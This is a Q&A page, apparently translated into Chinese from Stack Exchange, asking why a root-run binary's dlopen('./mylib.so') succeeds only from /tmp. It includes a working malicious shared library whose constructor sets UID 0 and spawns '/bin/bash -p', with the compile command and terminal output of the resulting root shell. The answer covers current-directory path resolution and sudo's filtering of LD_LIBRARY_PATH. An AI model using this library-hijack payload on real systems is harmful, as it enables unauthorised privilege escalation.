为何设置LD_LIBRARY_PATH后需在库目录执行才能注入共享库?
问题描述
我尝试通过设置LD_LIBRARY_PATH环境变量,让高权限二进制程序加载指定目录下的共享库,相关文件及操作如下:
目标二进制程序(/home/kali/Desktop/jump)
权限:-rwxr-xr-x 1 root root jump
代码(jump.c):
#include <stdio.h> #include <dlfcn.h> int main() { // 尝试打开库 void *handle = dlopen("./mylib.so", RTLD_LAZY); if (!handle) { printf("[-] 库未找到\n"); return 1; } else { printf("[+] 库已加载\n"); } dlclose(handle); return 0; }
恶意共享库代码(/tmp/lib.c)
#define _GNU_SOURCE #include <unistd.h> #include <stdio.h> #include <stdlib.h> static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); }
编译命令
gcc -o /tmp/mylib.so -shared -fPIC /tmp/lib.c
执行现象
当在~/Desktop目录执行命令时,加载失败:
┌──(kali㉿kali)-[~/Desktop] └─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump [-] 库未找到
切换到/tmp目录后执行相同命令,注入成功:
┌──(kali㉿kali)-[~/Desktop] └─$ cd /tmp ┌──(kali㉿kali)-[/tmp] └─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump ┌──(root㉿kali)-[/tmp] └─# id uid=0(root) gid=0(root) groups=0(root) ┌──(root㉿kali)-[/tmp] └─# exit exit [+] 库已加载
问题:为什么会出现这种差异?
原因分析
核心问题出在dlopen的路径解析逻辑和sudo的安全机制上:
相对路径的解析规则
你在jump程序里用的是dlopen("./mylib.so", ...),这里的./是相对于程序运行时的当前工作目录(CWD),和程序本身的存放目录、LD_LIBRARY_PATH都没关系。- 在
~/Desktop执行时,当前工作目录是~/Desktop,程序会在这个目录下找mylib.so,自然找不到; - 切换到
/tmp后,当前工作目录就是mylib.so的存放位置,所以能直接找到并加载。
- 在
sudo的环境变量过滤
你设置的LD_LIBRARY_PATH=/tmp其实根本没生效——sudo默认会过滤这类可能用于恶意注入的环境变量,属于安全防护机制。你能成功加载库,完全是因为当前工作目录刚好是库所在的位置,和LD_LIBRARY_PATH无关。可以做个验证:把
mylib.so放到任意其他目录(比如/home/kali/test),切换到该目录后执行sudo /home/kali/Desktop/jump,同样能成功加载,根本不需要设置LD_LIBRARY_PATH。
内容的提问来源于stack exchange,提问作者Federico Angarella
相关产品推荐
相关产品推荐

